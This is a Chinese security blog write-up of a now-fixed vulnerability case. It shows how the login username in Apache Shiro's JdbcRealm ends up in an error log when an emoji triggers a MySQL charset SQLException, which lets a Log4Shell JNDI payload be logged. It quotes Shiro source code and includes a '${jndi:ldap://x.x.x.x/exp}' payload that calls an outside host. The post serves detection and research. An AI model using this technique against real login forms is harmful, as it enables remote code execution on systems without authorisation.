查看原文
其他

原创 | emoji、shiro与log4j2漏洞

tkswifty SecIN技术平台 2022-06-18

点击上方蓝字 关注我吧


引言

小黄脸emoji几乎每天在聊天的时候都会使用到,在某些waf bypass也会看到它的身影。

shiro、log4j2这两个组件应该都不陌生了,在高版本shiro没办法通过shiro-550进行序列化漏洞利用的情况下,还有没有可能找到突破口呢?与此同时,emoji还能在漏洞检测中产生什么样的化学反应呢?

在实际业务中发现一个结合log4j2利用的案例(当前漏洞已经修复完毕 )。提取关键的的漏洞代码做下复盘。

具体案例

系统通过shiro进行认证&鉴权。在MySQL中存储对应的用户信息。提到shiro,第一反应是想到的肯定是这些安全问题:

  • shiro-550的反序列化漏洞

  • 权限绕过(CVE-2020-1957、CVE-2020-11989、CVE-2020-13933、cve-2020-17523...... )

但是比较可惜的是。系统的shiro版本为1.8.0,目前来看不存在上述的安全问题 。

还有一个可能存在的缺陷是使用不当导致的session操纵问题,具体文章可参考https://xz.aliyun.com/t/5287。那么看看系统具体的登陆认证是如何实现的。

在shiro中,Realm是相关的安全数据源,通过自定义一个Realm类,继承AuthorizingRealm抽象类,重写获取用户信息以及权限校验的方法来实现认证授权操作,主要是如下方法:

  • doGetAuthentication(用户身份认证信息)

  • doGetAuthorizationInfo(用于权限校验信息)

从config相关的bean可以发现,系统是通过shiro内置的JdbcRealm的方式访问数据库,通过与数据库的连接,来完成相应的登录用户与授权,这里JdbcRealm已经替我们封装好了,所以直接调用就可以了:

public class ShiroConfig { @Bean public JdbcRealm getJdbcRealm(DataSource dataSource){ JdbcRealm jdbcRealm=new JdbcRealm(); jdbcRealm.setDataSource(dataSource); jdbcRealm.setPermissionsLookupEnabled(true); return jdbcRealm; }

@Bean public DefaultWebSecurityManager getDefaultWebSecurityManager(JdbcRealm jdbcRealm){ DefaultWebSecurityManager defaultSecurityManager=new DefaultWebSecurityManager(); defaultSecurityManager.setRealm(jdbcRealm); return defaultSecurityManager; }
..... //鉴权路由配置 }

具体的认证方法:

public void checkLogin(String username,String password) throws Exception{ Subject subject= SecurityUtils.getSubject(); UsernamePasswordToken token=new UsernamePasswordToken(username,password); subject.login(token);}

看看JdbcRealm的具体实现,找找有什么可以突破的地方。

JdbcRealm具体实现

查看org.apache.shiro.realm.jdbc.JdbcRealm,其已经将数据库的读取封装好了,以获取认证信息的doGetAuthenticationInfo方法为例:

protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {

UsernamePasswordToken upToken = (UsernamePasswordToken) token;String username = upToken.getUsername();

// Null username is invalidif (username == null) {throw new AccountException("Null usernames are not allowed by this realm."); }

Connection conn = null; SimpleAuthenticationInfo info = null;try { conn = dataSource.getConnection();

String password = null;String salt = null;switch (saltStyle) {case NO_SALT: password = getPasswordForUser(conn, username)[0];break;case CRYPT:// TODO: separate password and hash from getPasswordForUser[0]throw new ConfigurationException("Not implemented yet");//break;case COLUMN:String[] queryResults = getPasswordForUser(conn, username); password = queryResults[0]; salt = queryResults[1];break;case EXTERNAL: password = getPasswordForUser(conn, username)[0]; salt = getSaltForUser(username); }

if (password == null) {throw new UnknownAccountException("No account found for user [" + username + "]"); }

info = new SimpleAuthenticationInfo(username, password.toCharArray(), getName());
if (salt != null) {if (saltStyle == SaltStyle.COLUMN && saltIsBase64Encoded) { info.setCredentialsSalt(ByteSource.Util.bytes(Base64.decode(salt))); } else { info.setCredentialsSalt(ByteSource.Util.bytes(salt)); } }

} catch (SQLException e) { final String message = "There was a SQL error while authenticating user [" + username + "]";if (log.isErrorEnabled()) { log.error(message, e); }

// Rethrow any SQL errors as an authentication exceptionthrow new AuthenticationException(message, e); } finally { JdbcUtils.closeConnection(conn); }

return info; }

这里主要是获取前端登录传递过来的用户名,然后调用password = getPasswordForUser(conn, username)[0];方法从数据库获取密码:

private String[] getPasswordForUser(Connection conn, String username) throws SQLException {
String[] result;boolean returningSeparatedSalt = false;switch (saltStyle) {case NO_SALT:case CRYPT:case EXTERNAL: result = new String[1];break;default: result = new String[2]; returningSeparatedSalt = true; }
PreparedStatement ps = null; ResultSet rs = null;try { ps = conn.prepareStatement(authenticationQuery); ps.setString(1, username);
// Execute query rs = ps.executeQuery();
// Loop over results - although we are only expecting one result, since usernames should be uniqueboolean foundResult = false;while (rs.next()) {// Check to ensure only one row is processedif (foundResult) {throw new AuthenticationException("More than one user row found for user [" + username + "]. Usernames must be unique."); }
result[0] = rs.getString(1);if (returningSeparatedSalt) { result[1] = rs.getString(2); }
foundResult = true; } } finally { JdbcUtils.closeResultSet(rs); JdbcUtils.closeStatement(ps); }
return result; }

可以看到本质上是调用原生的PreparedStatement来获取帐号对应的密码然后封装到SimpleAuthenticationInfo返回 :

ps = conn.prepareStatement(authenticationQuery); ps.setString(1, username);
// Execute query rs = ps.executeQuery();

执行的SQL从authenticationQuery变量获取,这里shiro提供了一个默认的SQL语句,当然也可以通过set方法用户自定义:

protected String authenticationQuery = DEFAULT_AUTHENTICATION_QUERY;/*** The default query used to retrieve account data for the user.*/protected static final String DEFAULT_AUTHENTICATION_QUERY = "select password from users where username = ?";

public void setAuthenticationQuery(String authenticationQuery) {this.authenticationQuery = authenticationQuery;}

可以看到SQL语句是通过占位符修饰,规避了SQL注入的问题。看到这里貌似没有什么可以突破的地方。不过在getPasswordForUser方法中,当SQL查询异常时会通过log打印当前登陆用户名信息:

catch (SQLException e) { final String message = "There was a SQL error while authenticating user [" + username + "]";if (log.isErrorEnabled()) {log.error(message, e); }

既然是log,自然而言想到了log4j2漏洞,看看shiro的日志是怎么实现的。能不能借助log4j2找到突破口。

shiro的日志实现

shiro依赖的是SLF4J框架。SLF4J是一个日志标准,并不是日志系统的具体实现。主要功能是:

  • 提供日志接口

  • 提供获取具体日志对象的方法

简单的说,如果系统引入了log4j2相关的依赖,那么便会使用log4j2来进行shiro的日志处理。

如何抛出SQLException异常

幸运的是,系统使用log4j进行日志处理,同时相关的组件log4j-core在漏洞影响的范围内。

回到之前的分析,在JdbcRealm的getPasswordForUser方法中,当SQL查询异常时会通过log打印当前登陆用户名信息:

catch (SQLException e) { final String message = There was a SQL error while authenticating user [ + username + ] ;if (log.isErrorEnabled()) {log.error(message, e); }

也就是说,如果在执行如下SQL时产生SQLException,并且用户名username携带了${jndi:ldap://x.x.x.x/exp}的话,即可完成log4j2漏洞的利用:

protected static final String DEFAULT_AUTHENTICATION_QUERY = select password from users where username = ? ;

提到SQLException,最容易想到的就是数据库连接异常、报错注入。数据库连接不是用户可以控制的,至于报错注入,因为这里是用了预编译处理,很明显updatexml类的函数也没办法使用。

因为这里是普通的查询,尝试fuzz看看有什么思路:

发现当查询内容中包含emoji的时候,MySQL数据库会触发ERROR:

查阅了一下相关资料,主要是编码不统一的问题:

  • https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-charsets.html

  • https://segmentfault.com/q/1010000023488811

结合上面简单的分析尝试,直接在登录框使用emoji表情+poc进行登录:

这里结合dnslog进行简单的验证,可以看到成功记录,验证成功:


其他

结合上述的案例,其实通过日志记录SqlException的情况还是蛮多的。除了特定场景下MySQL中利用emoji编码差异触发外,还可以结合具体情况来改进常规的log4j2检测poc,覆盖db2、Oracle等更多的场景,增加漏洞的检出率。


相关推荐




原创 | 关于74cms任意文件包含分析和想法

原创 | 浅谈Log4j2在JFinal的检测

原创 | 从靶场学渗透之——ATT&CK实战系列-红队评估(七)

原创 | 数据库-MongoDB漏洞利用姿势

你要的分享、在看与点赞都在这儿~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存